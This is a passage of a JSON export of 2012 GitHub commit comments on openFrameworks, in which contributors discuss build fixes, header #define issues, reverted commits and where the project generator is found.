18T03:39:52Z","body":"@ofTheo \nwow, its amazing that you worked this out.\ni was banging my head against the wall with this issue at one point.\nhow did you know where to start?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1346338","html_url":"https://github.com/openframeworks/openFrameworks/commit/591c052a7c4583d8ea86c691074997bdfb944bb3#commitcomment-1346338","id":1346338,"user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following{/other_user}","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"591c052a7c4583d8ea86c691074997bdfb944bb3","created_at":"2012-05-18T03:47:30Z","updated_at":"2012-05-18T03:47:30Z","body":"nice, this solved all iOS Default.png and Icon.png gitignore issues."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1346980","html_url":"https://github.com/openframeworks/openFrameworks/commit/591c052a7c4583d8ea86c691074997bdfb944bb3#commitcomment-1346980","id":1346980,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"591c052a7c4583d8ea86c691074997bdfb944bb3","created_at":"2012-05-18T08:30:34Z","updated_at":"2012-05-18T08:30:34Z","body":"thanks. yeah, that was the idea."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1352895","html_url":"https://github.com/openframeworks/openFrameworks/commit/1d9edca442a3ca4778ede911d59fa78158c105da#commitcomment-1352895","id":1352895,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1d9edca442a3ca4778ede911d59fa78158c105da","created_at":"2012-05-20T20:34:18Z","updated_at":"2012-05-20T20:34:18Z","body":"oh well that header file just looked really weird with the extern c and the strange #defines\r\nI figured since llvm is quite a new compiler maybe it was choking on some of that weirdness :) \r\n\r\nit was a lucky guess! "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1353632","html_url":"https://github.com/openframeworks/openFrameworks/commit/1d9edca442a3ca4778ede911d59fa78158c105da#commitcomment-1353632","id":1353632,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"1d9edca442a3ca4778ede911d59fa78158c105da","created_at":"2012-05-21T06:55:20Z","updated_at":"2012-05-21T06:55:20Z","body":"Did you send a bug report/comment upstream or something? Cause otherwise, we are gonna have to fix this again with the next version of assimp."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1381478","html_url":"https://github.com/openframeworks/openFrameworks/commit/dd4ba068dcf1c7ab7ae904e33f85faa44ccc5e7c#commitcomment-1381478","id":1381478,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"dd4ba068dcf1c7ab7ae904e33f85faa44ccc5e7c","created_at":"2012-05-27T14:24:02Z","updated_at":"2012-05-27T14:24:02Z","body":"hey arturo I already fixed this two commits before ;) \nI think my fix for the #define might be a bit better as it defines it if its not currently defined"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1381483","html_url":"https://github.com/openframeworks/openFrameworks/commit/dd4ba068dcf1c7ab7ae904e33f85faa44ccc5e7c#commitcomment-1381483","id":1381483,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"dd4ba068dcf1c7ab7ae904e33f85faa44ccc5e7c","created_at":"2012-05-27T14:24:28Z","updated_at":"2012-05-27T14:24:28Z","body":"https://github.com/openframeworks/openFrameworks/commit/522a74993a264f8e42c54884dccd6901d36e0b34"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1381506","html_url":"https://github.com/openframeworks/openFrameworks/commit/b950e7a0efcaf4f715095685b79129ee63af557f#commitcomment-1381506","id":1381506,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"b950e7a0efcaf4f715095685b79129ee63af557f","created_at":"2012-05-27T14:28:50Z","updated_at":"2012-05-27T14:28:50Z","body":"oh nevermind :) \nI see you merged it in. I was wondering how that would work. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1384843","html_url":"https://github.com/openframeworks/openFrameworks/commit/b950e7a0efcaf4f715095685b79129ee63af557f#commitcomment-1384843","id":1384843,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"b950e7a0efcaf4f715095685b79129ee63af557f","created_at":"2012-05-28T19:22:26Z","updated_at":"2012-05-28T19:22:26Z","body":"yes i fixed it but only realized after trying to push the change, so i \r\njust merged it :)\r\n\r\nEl 27/05/12 16:28, Theodore Watson escribió:\r\n> oh nevermind :)\r\n> I see you merged it in. I was wondering how that would work.\r\n>\r\n> ---\r\n> Reply to this email directly or view it on GitHub:\r\n> https://github.com/openframeworks/openFrameworks/commit/b950e7a0efcaf4f715095685b79129ee63af557f#commitcomment-1381506"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1384863","html_url":"https://github.com/openframeworks/openFrameworks/commit/f975207d1fdc8faa3b06e877e4a39e5b48651c41#commitcomment-1384863","id":1384863,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"f975207d1fdc8faa3b06e877e4a39e5b48651c41","created_at":"2012-05-28T19:26:40Z","updated_at":"2012-05-28T19:26:40Z","body":"I don't know what's going on here, but this had already been fixed by Theo in e381df2bceef9556499fcdd3d039e16513199c26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1419303","html_url":"https://github.com/openframeworks/openFrameworks/commit/751c209f25d70a81567f5d0746f3d893de8882ea#commitcomment-1419303","id":1419303,"user":{"login":"sloopidoopi","id":248498,"avatar_url":"https://secure.gravatar.com/avatar/69d034865cb1f775bb1e0b47ff0580b2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"69d034865cb1f775bb1e0b47ff0580b2","url":"https://api.github.com/users/sloopidoopi","html_url":"https://github.com/sloopidoopi","followers_url":"https://api.github.com/users/sloopidoopi/followers","following_url":"https://api.github.com/users/sloopidoopi/following{/other_user}","gists_url":"https://api.github.com/users/sloopidoopi/gists{/gist_id}","starred_url":"https://api.github.com/users/sloopidoopi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sloopidoopi/subscriptions","organizations_url":"https://api.github.com/users/sloopidoopi/orgs","repos_url":"https://api.github.com/users/sloopidoopi/repos","events_url":"https://api.github.com/users/sloopidoopi/events{/privacy}","received_events_url":"https://api.github.com/users/sloopidoopi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"751c209f25d70a81567f5d0746f3d893de8882ea","created_at":"2012-06-05T20:12:27Z","updated_at":"2012-06-05T20:12:27Z","body":"The commit seems to be not in the master/develop branch of 0071."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1421151","html_url":"https://github.com/openframeworks/openFrameworks/commit/751c209f25d70a81567f5d0746f3d893de8882ea#commitcomment-1421151","id":1421151,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"751c209f25d70a81567f5d0746f3d893de8882ea","created_at":"2012-06-06T05:30:44Z","updated_at":"2012-06-06T05:30:44Z","body":"yes it is, in both. you can check this with `git branch --contains `."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1421159","html_url":"https://github.com/openframeworks/openFrameworks/commit/7709a23aef3bea47da65aa661b157f414522b4dc#commitcomment-1421159","id":1421159,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"7709a23aef3bea47da65aa661b157f414522b4dc","created_at":"2012-06-06T05:35:04Z","updated_at":"2012-06-06T05:35:04Z","body":"hi! what was the reason why you reverted the fix in ce9b22e038ca16b581a16722436327bef206cbdf with this commit, @gameoverhack? See also #559"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1421163","html_url":"https://github.com/openframeworks/openFrameworks/commit/751c209f25d70a81567f5d0746f3d893de8882ea#commitcomment-1421163","id":1421163,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"751c209f25d70a81567f5d0746f3d893de8882ea","created_at":"2012-06-06T05:36:32Z","updated_at":"2012-06-06T05:36:32Z","body":"It only was reverted later down the line, in 7709a23aef3bea47da65aa661b157f414522b4dc. Are you experiencing problems? If yes, please submit a bug report with all the necessary info, it's easier to track than a commit comment. :-)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1421230","html_url":"https://github.com/openframeworks/openFrameworks/commit/7709a23aef3bea47da65aa661b157f414522b4dc#commitcomment-1421230","id":1421230,"user":{"login":"gameoverhack","id":331599,"avatar_url":"https://secure.gravatar.com/avatar/397ac2141aace0681a354185e7efb0f1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"397ac2141aace0681a354185e7efb0f1","url":"https://api.github.com/users/gameoverhack","html_url":"https://github.com/gameoverhack","followers_url":"https://api.github.com/users/gameoverhack/followers","following_url":"https://api.github.com/users/gameoverhack/following{/other_user}","gists_url":"https://api.github.com/users/gameoverhack/gists{/gist_id}","starred_url":"https://api.github.com/users/gameoverhack/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gameoverhack/subscriptions","organizations_url":"https://api.github.com/users/gameoverhack/orgs","repos_url":"https://api.github.com/users/gameoverhack/repos","events_url":"https://api.github.com/users/gameoverhack/events{/privacy}","received_events_url":"https://api.github.com/users/gameoverhack/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"7709a23aef3bea47da65aa661b157f414522b4dc","created_at":"2012-06-06T06:11:41Z","updated_at":"2012-06-06T06:11:41Z","body":"Because it was actually breaking compile in either CB or VS (I forget which, but I assume VS) -> did it while trying to get all examples to compile on Windows when we started on the windows PG...I don't remember now which it was, but VS 2010 was choking on a redef or wasn't defined...\n\nWhy is there a problem with it now?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1421353","html_url":"https://github.com/openframeworks/openFrameworks/commit/7709a23aef3bea47da65aa661b157f414522b4dc#commitcomment-1421353","id":1421353,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"7709a23aef3bea47da65aa661b157f414522b4dc","created_at":"2012-06-06T07:18:37Z","updated_at":"2012-06-06T07:19:34Z","body":"strange, cause the way it was designed in the first place should have made VS2010 work (fixing a redef problem in VS2010).\nDon't know yet if there's a problem, but I assume so, cause someone asked in the commit introducing this change why it's not in master/develop: 751c209f25d70a81567f5d0746f3d893de8882"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1450592","html_url":"https://github.com/openframeworks/openFrameworks/commit/d6148a48f16f25fa2a346ba7b9d36d8b422a41e0#commitcomment-1450592","id":1450592,"user":{"login":"swarooppal1088","id":1404897,"avatar_url":"https://secure.gravatar.com/avatar/7e80cd711da671dd88b3a49507275866?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"7e80cd711da671dd88b3a49507275866","url":"https://api.github.com/users/swarooppal1088","html_url":"https://github.com/swarooppal1088","followers_url":"https://api.github.com/users/swarooppal1088/followers","following_url":"https://api.github.com/users/swarooppal1088/following{/other_user}","gists_url":"https://api.github.com/users/swarooppal1088/gists{/gist_id}","starred_url":"https://api.github.com/users/swarooppal1088/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/swarooppal1088/subscriptions","organizations_url":"https://api.github.com/users/swarooppal1088/orgs","repos_url":"https://api.github.com/users/swarooppal1088/repos","events_url":"https://api.github.com/users/swarooppal1088/events{/privacy}","received_events_url":"https://api.github.com/users/swarooppal1088/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"d6148a48f16f25fa2a346ba7b9d36d8b422a41e0","created_at":"2012-06-13T02:58:13Z","updated_at":"2012-06-13T02:58:13Z","body":"hey i cloned OF using git clone https://github.com/openframeworks/openFrameworks.git the root is missing the projectgenerator as mentioned in the readme's how do i build all the projects and dere are no makefiles in the examples"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1451083","html_url":"https://github.com/openframeworks/openFrameworks/commit/d6148a48f16f25fa2a346ba7b9d36d8b422a41e0#commitcomment-1451083","id":1451083,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"d6148a48f16f25fa2a346ba7b9d36d8b422a41e0","created_at":"2012-06-13T07:00:40Z","updated_at":"2012-06-13T07:00:40Z","body":"hey! please take such questions to the forums, it is a more appropriate place. To answer a bit, though: the project generator is in /apps/devApps/projectGenerator. you generate the example project files and make files by using the project generator. With the rest I can't help you without knowing your IDE and OS. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1542133","html_url":"https://github.com/openframeworks/openFrameworks/commit/354570bd8d6dd96562fa24bbe85aab913372130e#commitcomment-1542133","id":1542133,"user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following{/other_user}","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"position":7,"line":26,"path":"libs/openFrameworks/3d/of3dUtils.cpp","commit_id":"354570bd8d6dd96562fa24bbe85aab913372130e","created_at":"2012-07-05T14:40:57Z","updated_at":"2012-07-05T14:40:57Z","body":"@ofTheo :(\nreally?\nthis removes the feature of being able to change the style of the grid (e.g. before you could make a white grid if you liked, or change the S,B values of the colour yourself, with this change, it's now completely fixed."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1580965","html_url":"https://github.com/openframeworks/openFrameworks/commit/5ada18cb213ef9f876ddb143b2e4bd0cc9318e1c#commitcomment-1580965","id":1580965,"user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following{/other_user}","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"5ada18cb213ef9f876ddb143b2e4bd0cc9318e1c","created_at":"2012-07-14T09:12:04Z","updated_at":"2012-07-14T09:12:04Z","body":"Oh great, thanks! I ran into an issue yesterday where passing the name of a button as a string& got me in trouble as I was modifying the vale of the argument in the callback, took me forever to fix."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1580967","html_url":"https://github.com/openframeworks/openFrameworks/commit/5ada18cb213ef9f876ddb143b2e4bd0cc9318e1c#commitcomment-1580967","id":1580967,"user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following{/other_user}","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"5ada18cb213ef9f876ddb143b2e4bd0cc9318e1c","created_at":"2012-07-14T09:13:12Z","updated_at":"2012-07-14T09:13:12Z","body":"s/vale/value s/'forever to fix\"/\"forever to 